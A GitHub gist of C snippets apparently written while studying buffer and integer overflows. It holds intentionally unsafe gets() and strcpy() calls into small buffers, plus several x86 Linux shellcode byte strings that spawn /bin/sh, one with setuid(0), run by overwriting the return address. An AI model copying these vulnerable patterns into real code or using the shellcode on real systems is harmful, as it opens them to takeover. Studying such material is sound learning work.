Skip to content

Instantly share code, notes, and snippets.

@retpolanne
Last active February 22, 2019 23:55
Show Gist options
  • Save retpolanne/1d07957d64d9d12475e2988fa1ee0458 to your computer and use it in GitHub Desktop.
Save retpolanne/1d07957d64d9d12475e2988fa1ee0458 to your computer and use it in GitHub Desktop.
Some tests I made while studying buffer overflows and integer overflows
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *test = argv[1];
int tt = (int)strlen(test);
printf("%d", tt);
return 0;
}
#include <stdio.h>
int main() {
char buffer[23];
printf("Escreva algo... ");
gets(buffer);
printf("Você escreveu: %s", buffer);
return 0;
}
/*char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
*/
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
void copystring () {
char buffer[4];
strcpy(buffer, shellcode);
printf("%s", buffer);
}
int main() {
copystring();
return 0;
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment